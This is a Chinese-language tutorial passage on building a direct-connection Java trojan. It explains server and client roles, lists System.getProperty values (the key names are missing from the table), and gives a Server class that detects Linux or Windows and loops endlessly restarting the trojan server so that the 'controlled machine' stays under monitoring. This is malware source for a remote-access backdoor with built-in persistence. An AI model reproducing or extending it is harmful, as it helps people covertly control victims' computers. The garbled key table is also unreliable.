木马为直连木马,不通过第三方跳转。此处的概念不介绍过多。
概念介绍:服务端(被控制方运行的程序) 客户端(控制方运行的程序)
此处涉及到了System类,java的System类代表系统,涉及系统的很多属性和控制方法都在这个类里面。 system类中的成员方法和成员变量都是static的,成员方法getProperty()函数定义如下
public static String getProperty(String key) 其中key对应的值如下
key值列表
属性说明 | |
| Java 运行时环境版本 |
| Java 安装目录 |
| 操作系统的名称 |
| 操作系统的版本 |
| 用户的账户名称 |
| 用户的主目录 |
| 用户的当前工作目录 |
public class Server {
public static void main(String[] args) {
if (System.getProperty("os.name").contains("Linux")) { //判断操作系统是否是Linux
while(true){ //此处利用了一个死循环 原因是当客户端关闭的时候,会退出对应的服务端。但为了维持木马服务端继续监听的功能,此处继续重启一个服务端程序,这样才能保证被控机器持续的被监控。
new ServerLin("OS is Linux");
}
} else if (System.getProperty("os.name").contains("Windows")) { //此处与上面相同
while(true){
new ServerWin("OS is Windows");
}
}
}
}